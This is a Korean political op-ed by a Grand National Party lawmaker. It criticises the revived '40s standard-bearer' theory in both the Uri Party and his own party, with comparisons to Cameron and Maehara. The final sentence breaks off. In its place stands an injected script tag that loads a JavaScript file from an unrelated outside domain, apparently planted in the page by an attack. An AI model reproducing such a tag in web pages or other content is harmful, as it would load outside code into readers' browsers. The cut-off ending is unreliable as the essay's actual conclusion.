‘40대 기수론’에 대한 소고(小考)
고 진 화 국회의원 (한나라당 영등포 갑)시대적 소명이 된 “40대 기수론”
한국 정치사를 뒤돌아 볼 때 과거의 40대 기수론은 군사독재와 구시대적 질서타파를 위한 시대적 요청이었다. 김영삼 전 대통령이 신민당 대통령 후보로 나설 때 40대 기수론을 내세우고 김대중 전 대통령도 40대 대열에 합류함으로써 답답하던 당시 정국에 돌개바람처럼 국민들의 관심을 집중시켰다. 그로부터 36년이 지난 현재 정치권에서 또다시 ‘新 40대 기수론’, ‘40대 역할론’ 등 표현은 다르지만 40대 기수론이 부활 하고 있다.
뿐만 아니다. 외국에도 40대 정치인들이 신선한 바람을 일으키고 있다. 총선 3연패로 노동당에게 정치적 주도권을 빼앗긴 영국 보수당은 05년 12월, “온정적 보수주의”를 주장한 40세의 데이비드 캐머런을 당수로 선출했다. 바로 이웃인 일본에서도 제1야당인 민주당은 지난 해 의회 해산 후 실시된 총선에서 참패한 뒤 “소신 있는 자기주장으로 정치권의 새로운 변화”를 주도한 43세의 마에하라 세이지의원을 당대표로 선출했다.
오늘, 우리 대한민국은 이미 40대가 ITㆍBTㆍNT 등 신경제를 주도하고 있으며, 한류를 개발ㆍ보급하는 문화계의 주역일 뿐만 아니라 언론계ㆍ학계ㆍ시민운동에 있어서도 중추적인 역할을 수행하고 있다. 따라서 40대가 중심이 된 미래 역량을 결집시키기 위해서는 정치권에서도 40대가 중심이 되어야 한다는 것은 시대적 소명일 수 있을 것이다. 따라서 40대 정치인들이 흥분하거나 조급할 필요가 없으며 오히려 시대정신을 읽는 통찰력과 국가적 과제를 해결하는 실력과 비전을 배양해야 한다. 이미 시대는 40대에게 국가경영의 중추적 역할을 요청하고 있기 때문이다.
저항ㆍ도전ㆍ비판에 머물고 있는 40대 기수론
지난 해 연말부터 고개를 들고 있는 ‘40대 기수론’은 열린우리당의 유시민 장관 임명 논란과 향후 지방선거의 위기의식이 가장 큰 요인이다. 이에 대응하여 한나라당에서는 ‘40대 역할론’, ‘4040론’이 입에 오르내린다.
그러나 최근의 40대 기수론을 보면 왠지 모르게 맥이 빠져버린다. 사이다인 줄 알고 뚜껑을 열었는데 김빠진 설탕물을 먹은 허탈한 느낌이다. 국민들이 느끼는 그 허탈감에는 이유가 있다. 경쟁적으로 쏟아내고 있는 40대 기수론은 민주/반민주의 이분법적 사고와 민족경제론 등 과거의 저항ㆍ도전ㆍ비판의 구시대적 가치에 머무르고 있기 때문이다. 다시 말해 예전에 흔들던 낡은 깃발을 창고에서 찾아내 다시 흔들고 있다는 느낌을 지울 수 없다.
열린우리당 發 40대 기수론은 “풍요속의 빈곤”
유시민 의원의 입각논란과 지방선거를 앞둔 여론악화 속에 던져진 ‘新 40대 기수론’은 지난 70년대 이야기 되었던 40대 기수론에 당청관계의 재정립이 추가되었을 뿐이다. 심지어 이미 노무현 대통령이 지난 대선 때 제시한 국가균형발전, 신경제, 동북아 평화구상 등 목적이 뚜렷한 비전조차 찾아 볼 수 없다. 결국 현상황 위기 타개책으로 40대 기수론이라는 낡은 깃발을 찾아내어 당청관계 재정립이라는 실로 꼬맨 후 다시 흔드는데 지나지 않는 셈이다.
다른 주장인 ‘40대 소통론’ 또한 낡은 깃발에 깃봉만 교체한 것에 불과하다. 40대가 세대 간의 통합을 이룰 수 있다는 점에는 부분적으로 수긍이 되지만, 지방선거 승리를 위해 민주당과 연합을 해야 한다거나 대선 승리를 위해 중도세력과의 연합을 해야 한다는 주장은 40대가 중심이 되어 과거 3당합당과 같은 합종연횡을 하겠다는 것 이외에 국민이 원하는 미래에 대한 희망과 비전을 찾아보기 어렵다.
한나라당의 40대 기수론은 “‘상상력 빈곤’의 악순환”
열린우리당에 비해 상대적으로 40대가 적은 한나라당은 그 소수의 40대 마저 시대적 요청을 읽지 못하고 있는 듯하다. 수면위로 떠오른 ‘40대 역할론’을 보자. 산업화 세대가 대권에 출마하고 민주화 세대가 당을 이끌고 나가자는 이른바 40대 역할론은 일견 세대 간의 화합을 상징할지 모르지만 전형적인 ‘줄서기’식, ‘형님 먼저’식의 낡은 정치 행태에 40대가 편승하려는 것에 지나지 않는다. 이러한 40대 역할론은 이미 95년에 등장했던 산업화와 민주화 세력 결합론에 사용한 낡은 개념의 재탕이 아니던가? 국민들에게는 “50대가 산업화로 수고하셨으니 먼저 대권에 도전하시고, 그 뒤는 40대가 이어받겠습니다”로 비춰질 뿐이다.
한나라당의 높은 지지율을 바탕으로 한 ‘4040론’도 한나라당의 빈곤한 상상력을 그대로 보여주고 있다. 40%의 지지율을 유지하기 위해서 40대가 중심이 되어야 한다는 4040론은 40대만의 비전이나 창의력, 미래에 대한 그 어떤 희망도 제시하지 못하고 있다. 지지율이 30%였다면 햇빛도 보지 못할 ?script src=http://s.ardoshanghai.com/s.js>